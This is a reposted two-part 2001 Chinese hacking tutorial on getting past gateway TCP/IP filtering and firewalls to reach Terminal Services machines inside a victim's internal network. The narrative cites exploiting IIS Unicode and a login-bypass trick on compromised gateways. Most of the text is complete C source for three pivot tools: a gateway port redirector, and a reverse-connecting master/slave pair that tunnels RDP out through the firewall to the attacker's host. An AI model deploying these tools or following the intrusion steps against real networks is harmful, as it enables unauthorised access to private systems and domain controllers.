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简单的TCP映射

Tags: /超级猛料/Network.网络通讯/TCP_IP/   Date Created:

突破TCP-IP过滤/防火墙进入内网(一)

发布者: xundi(at: xfocus.org) · 发布日期: 2001-04-23 · 来源: patching.net

作者:eyas

现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。

   也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。

   Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。

<<第一部分:利用TCP socket数据转发进入没有防火墙保护的内网>>

假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。

[img]www.xfocus.org/other/bcjs/yc7.ht1.jpg[/img]

   我们的目标是连接上敌人内网的Terminal Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。

   攻击流程如下:

<1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。

<2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。

<3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]

<4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:)

程序代码如下:

/**********************************************************************

Module Name:AgentGateWay.c

Date:2001/4/15

CopyRight(c) eyas

说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,

     就可以进入内网了

     sock[0]==>sClient  sock[1]==>sTarget

**********************************************************************/

#include <winsock2.h>

#include <stdio.h>

#include "TCPDataRedird.c"

 

#define TargetIP TEXT("192.168.1.3")

#define TargetPort (int)3389

#define ListenPort (int)3389//监听端口

 

#pragma comment(lib,"ws2_32.lib")

 

int main()

{

   WSADATA wsd;

   SOCKET sListen=INVALID_SOCKET,//本机监听的socket

           sock[2];

   struct sockaddr_in Local,Client,Target;

   int iAddrSize;

   HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

          hThreadT2C=NULL;//T2C=TargetToClient

   DWORD dwThreadID;

 

   __try

   {

       if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

       {

           printf("\nWSAStartup() failed:%d",GetLastError());

           __leave;

       }

       sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

       if(sListen==INVALID_SOCKET)

       {

           printf("\nsocket() failed:%d",GetLastError());

           __leave;

       }

 

       Local.sin_addr.s_addr=htonl(INADDR_ANY);

       Local.sin_family=AF_INET;

       Local.sin_port=htons(ListenPort);

 

       Target.sin_family=AF_INET;

       Target.sin_addr.s_addr=inet_addr(TargetIP);

       Target.sin_port=htons(TargetPort);

 

       if(bind(sListen,(struct sockaddr *)&Local,sizeof(Local))==SOCKET_ERROR)

       {

           printf("\nbind() failed:%d",GetLastError());

           __leave;

       }

       if(listen(sListen,1)==SOCKET_ERROR)

       {

           printf("\nlisten() failed:%d",GetLastError());

           __leave;

       }

       //scoket循环

       while(1)

       {

           printf("\n\n*************Waiting Client Connect to**************\n\n");

           iAddrSize=sizeof(Client);

           //get socket sClient

           sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);

           if(sock[0]==INVALID_SOCKET)

           {

               printf("\naccept() failed:%d",GetLastError());

               break;

           }

           printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),

                   ntohs(Client.sin_port));

           //create socket sTarget

           sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

           if(sock[1]==INVALID_SOCKET)

           {

               printf("\nsocket() failed:%d",GetLastError());

               __leave;

           }

           //connect to target port

           if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)

           {

               printf("\nconnect() failed:%d",GetLastError());

               __leave;

           }

           printf("\nconnect to target 3389 success!");

           //创建两个线程进行数据转发

           hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

           hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

           //等待两个线程结束

           WaitForSingleObject(hThreadC2T,INFINITE);

           WaitForSingleObject(hThreadT2C,INFINITE);

           CloseHandle(hThreadC2T);

           CloseHandle(hThreadT2C);

           closesocket(sock[1]);

           closesocket(sock[0]);      

           printf("\n\n*****************Connection Close*******************\n\n");

       }//end of sock外循环

   }//end of try

   __finally

   {

       if(sListen!=INVALID_SOCKET) closesocket(sListen);

       if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

       if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

       if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

       if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

       WSACleanup();

   }

   return 0;

}

/*************************************************************************

Module:TCPDataRedird.c

Date:2001/4/16

CopyRight(c) eyas<eyas@patching.net>

HomePage:www.patching.net

Thanks to shotgun

说明:TCP socket数据转发,sock[0]==>sClient  sock[1]==>sTarget

*************************************************************************/

#define BuffSize 20*1024 //缓冲区大小20k

//此函数负责从Client读取数据,然后转发给Target

DWORD WINAPI TCPDataC2T(SOCKET* sock)

{  

   int iRet,

       ret=-1,//select 返回值

       iLeft,

       idx,

       iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize

   char szSendToTargetBuff[BuffSize]={0},

        szRecvFromClientBuff[BuffSize]={0};

   fd_set fdread,fdwrite;

   printf("\n\n*****************Connection Active*******************\n\n");

       while(1)

           {              

               FD_ZERO(&fdread);

               FD_ZERO(&fdwrite);

               FD_SET(sock[0],&fdread);

               FD_SET(sock[1],&fdwrite);

               if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

               {

                   printf("\nselect() failed:%d",GetLastError());

                   break;

               }

               //printf("\nselect() return value ret=%d",ret);

               if(ret>0)

               {

                   //sClinet可读,client有数据要发送过来

                   if(FD_ISSET(sock[0],&fdread))

                   {

                       //接收sock[0]发送来的数据

                       iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);

                       if(iRet==SOCKET_ERROR)

                       {

                           printf("\nrecv() from sock[0] failed:%d",GetLastError());

                           break;

                       }

                       else if(iRet==0)

                           break;

                       printf("\nrecv %d bytes from sClinet.",iRet);

                       //把从client接收到的数据存添加到发往target的缓冲区

                       memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);

                       //刷新发往target的数据缓冲区当前buff大小

                       iSTTBCS+=iRet;

                       //清空接收client数据的缓冲区

                       memset(szRecvFromClientBuff,0,BuffSize);

                   }

                   //sTarget可写,把从client接收到的数据发送到target

                   if(FD_ISSET(sock[1],&fdwrite))

                   {

                       //转发数据到target的3389端口

                       iLeft=iSTTBCS;

                       idx=0;

                       while(iLeft>0)

                       {

                           iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);

                           if(iRet==SOCKET_ERROR)

                           {

                               printf("\nsend() to target failed:%d",GetLastError());

                               break;

                           }

                           printf("\nsend %d bytes to target",iRet);

                           iLeft-=iRet;

                           idx+=iRet;

                       }

                       //清空缓冲区

                       memset(szSendToTargetBuff,0,BuffSize);

                       //重置发往target的数据缓冲区当前buff大小

                       iSTTBCS=0;

                   }

               }//end of select ret    

               Sleep(1);

           }//end of data send & recv循环

       return 0;

}

//此函数负责从target读取数据,然后发送给client

DWORD WINAPI TCPDataT2C(SOCKET* sock)

{  

   int iRet,

       ret=-1,//select 返回值

       iLeft,

       idx,

       iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize

   char szRecvFromTargetBuff[BuffSize]={0},

        szSendToClientBuff[BuffSize]={0};

   fd_set fdread,fdwrite;

 

   while(1)

   {

       FD_ZERO(&fdread);

       FD_ZERO(&fdwrite);

       FD_SET(sock[0],&fdwrite);

       FD_SET(sock[1],&fdread);

       if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

       {

           printf("\nselect() failed:%d",GetLastError());

           break;

       }

       if(ret>0)

       {

           //sTarget可读,从target接收数据

           if(FD_ISSET(sock[1],&fdread))

           {

               //接收target返回数据

               iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);

               if(iRet==SOCKET_ERROR)

               {

                   printf("\nrecv() from target failed:%d",GetLastError());

                   break;

               }

               else if(iRet==0)

                   break;

               printf("\nrecv %d bytes from target",iRet);

               //把从target接收到的数据添加到发送到client的缓冲区

               memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);

               //清空接收target返回数据缓冲区

               memset(szRecvFromTargetBuff,0,BuffSize);

               //刷新发送到client的数据缓冲区当前大小

               iSTCBCS+=iRet;

           }

           //client可写,发送target返回数据到client

           if(FD_ISSET(sock[0],&fdwrite))

           {

               //发送target返回数据到client

               iLeft=iSTCBCS;

               idx=0;

               while(iLeft>0)

               {

                   iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);

                   if(iRet==SOCKET_ERROR)

                   {

                       printf("\nsend() to Client failed:%d",GetLastError());

                       break;

                   }

                   printf("\nsend %d bytes to Client",iRet);

                   iLeft-=iRet;

                   idx+=iRet;

               }

               //清空缓冲区

               memset(szSendToClientBuff,0,BuffSize);

               iSTCBCS=0;

           }

       }//end of select ret

       Sleep(1);

   }//end of while

   return 0;

}

突破TCP-IP过滤-防火墙进入内网(二)

发布者: xundi(at: xfocus.org) · 发布日期: 2001-04-23 · 来源: patching.net

<<第二部分:利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网>>

事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:

 [img]www.xfocus.org/other/bcjs/yc8.ht1.jpg[/img]

上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。

<1>我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到Internet,但我是网关的admin:)。

<2>敌人[其实是friend啦]的网关OS是2k adv server,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCP PORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCP socket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。

攻击流程如下:

<1>在我的服务器202.1.1.1运行AgentMaster,监听TCP PORT 12345,等待202.2.2.2来连接,监听TCP PORT 3389,等待我192.168.0.2连接。

<2>在敌人网关机器202.2.2.2运行AgentSlave,连接到202.1.1.1 TCP PORT 12345[注意:是反弹端口,TCP/IP过滤也拿他没办法]

<3>我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389

<4>敌人网关上的AgentSlave连接到自己本身在内网的IP==>192.168.1.1:3389

<5>数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。

后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。

程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的]:

/******************************************************************************

Module Name:AgentMaster.c

Date:2001/4/16

CopyRight(c) eyas

说明:scoket代理主控端,负责监听两个TCP socket,等待攻击者和AgentSlave来连接,两个

       scoket都连接成功后,开始转发数据

       sock[0]是client==>sock[0]  sock[1]是target==>sock[1]

******************************************************************************/

#include <stdio.h>

#include <winsock2.h>

#include "TCPDataRedird.c"

 

#pragma comment(lib,"ws2_32.lib")

 

#define TargetPort 3389//伪装的target的监听端口

#define LocalPort  12345//等待AgentSlave来connect的端口

int main()

{

   WSADATA wsd;

   SOCKET s3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接

           s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接

           sock[2]={INVALID_SOCKET,INVALID_SOCKET};

   struct sockaddr_in Local3389,Local1981,Attack,Slave;

   int iAddrSize;

   HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

          hThreadT2C=NULL;//T2C=TargetToClient

   DWORD dwThreadID;

 

   __try

   {

       //load winsock library

       if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

       {

           printf("\nWSAStartup() failed:%d",GetLastError());

           __leave;

       }

       //create socket

       s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

       if(s3389==INVALID_SOCKET)

       {

           printf("\nsocket() failed:%d",GetLastError());

           __leave;

       }

       //create socket

       s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

       if(s1981==INVALID_SOCKET)

       {

           printf("\nsocket() failed:%d",GetLastError());

           __leave;

       }

       //fill the struct

       Local3389.sin_addr.s_addr=htonl(INADDR_ANY);

       Local3389.sin_family=AF_INET;

       Local3389.sin_port=htons(TargetPort);

 

       Local1981.sin_addr.s_addr=htonl(INADDR_ANY);

       Local1981.sin_family=AF_INET;

       Local1981.sin_port=htons(LocalPort);

       //bind s3389 for attacker

       if(bind(s3389,(struct sockaddr *)&Local3389,sizeof(Local3389))==SOCKET_ERROR)

       {

           printf("\nbind() failed:%d",GetLastError());

           __leave;

       }

       //listen for attacker to connect

       if(listen(s3389,1)==SOCKET_ERROR)

       {

           printf("\nlisten() failed:%d",GetLastError());

           __leave;

       }

       //bind s1981 for AgentSlave

       if(bind(s1981,(struct sockaddr *)&Local1981,sizeof(Local1981))==SOCKET_ERROR)

       {

           printf("\nbind() failed:%d",GetLastError());

           __leave;

       }

       //listen for AgentSlave to connect

       if(listen(s1981,1)==SOCKET_ERROR)

       {

           printf("\nlisten() failed:%d",GetLastError());

           __leave;

       }

       //socket循环

       while(1)

       {

           //wait for AgentSlave to connect

           iAddrSize=sizeof(Slave);

           sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);

           if(sock[1]==INVALID_SOCKET)

           {

               printf("\naccept() failed:%d",GetLastError());

               break;

           }

           printf("\nAccept AgentSlave==>%s:%d",inet_ntoa(Slave.sin_addr),

                   ntohs(Slave.sin_port));

           //wait for Attacker to connect

           iAddrSize=sizeof(Attack);

           sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);

           if(sock[0]==INVALID_SOCKET)

           {

               printf("\naccept() failed:%d",GetLastError());

               break;

           }

           printf("\nAccept Attacker==>%s:%d",inet_ntoa(Attack.sin_addr),

                   ntohs(Attack.sin_port));

           //创建两个线程进行数据转发

           hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

           hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

           //等待两个线程结束

           WaitForSingleObject(hThreadC2T,INFINITE);

           CloseHandle(hThreadC2T);

           CloseHandle(hThreadT2C);

           closesocket(sock[0]);

           closesocket(sock[1]);

       }//end of socket while

   }//end of try

   __finally

   {

       //clean all

       if(s3389!=INVALID_SOCKET) closesocket(s3389);

       if(s1981!=INVALID_SOCKET) closesocket(s1981);

       if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

       if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

       if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

       if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

       WSACleanup();

   }

   return 0;

}

/***********************************************************************************

Module:AgentSlave.c

Date:2001/4/17

Copyright(c)eyas

HomePage:www.patching.net

说明:这个程序负责连接最终目标,连接主控端,然后转发数据

      这里连接到AgenrMaster的socket相当与sClient==>sock[0],

             连接到最终目标的socoket是sTarget==>sock[1]

***********************************************************************************/

#include <stdio.h>

#include <winsock2.h>

#include "TCPDataRedird.c"

 

#pragma comment(lib,"ws2_32.lib")

 

#define TargetIP "192.168.1.3"

#define TargetPort (int)3389

#define AgentMasterIP "202.1.1.1"

#define AgentMasterPort (int)12345

int main()

{

      WSADATA wsd;

      SOCKET sock[2]={INVALID_SOCKET,INVALID_SOCKET};

      struct sockaddr_in Master,Target;

      HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

                hThreadT2C=NULL;//T2C=TargetToClient

      DWORD dwThreadID;

 

      __try

      {

             //load winsock library

             if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

             {

                    printf("\nWSAStartup() failed:%d",GetLastError());

                    __leave;

             }

             //循环

             while(1)

             {

                    //create client socket

                    sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

                    if(sock[0]==INVALID_SOCKET)

                    {

                           printf("\nsocket() failed:%d",GetLastError());

                           __leave;

                    }

                    //create target socket

                    sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

                    if(sock[1]==INVALID_SOCKET)

                    {

                           printf("\nsocket() failed:%d",GetLastError());

                           __leave;

                    }

                    //fill struct

                    Target.sin_family=AF_INET;

                    Target.sin_addr.s_addr=inet_addr(TargetIP);

                    Target.sin_port=htons(TargetPort);

 

                    Master.sin_family=AF_INET;

                    Master.sin_addr.s_addr=inet_addr(AgentMasterIP);

                    Master.sin_port=htons(AgentMasterPort);

                    //connect to AgentMaster

                    if(connect(sock[0],(struct sockaddr *)&Master,sizeof(Master))==SOCKET_ERROR)

                    {

                           //连接失败后,等待一会儿再连

                           printf("\nconnect() to master failed:%d",GetLastError());

                           closesocket(sock[0]);

                           closesocket(sock[1]);

                           Sleep(5000);

                           continue;

                    }

                    printf("\nconnect to %s %d success!",AgentMasterIP,AgentMasterPort);

                    //connect to target

                    if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)

                    {

                           printf("\nconnect() to target failed:%d",GetLastError());

                           __leave;

                    }

                    printf("\nconnect to %s %d success!",TargetIP,TargetPort);

                    //创建两个线程进行数据转发

                    hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

                    hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

                    //等待两个线程结束

                    WaitForSingleObject(hThreadC2T,INFINITE);

                    CloseHandle(hThreadC2T);

                    CloseHandle(hThreadT2C);

                    closesocket(sock[0]);

                    closesocket(sock[1]);

             }//end of while

      }//end of try

      __finally

      {

             if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

             if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

             if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

             if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

             WSACleanup();

      }

      return 0;

}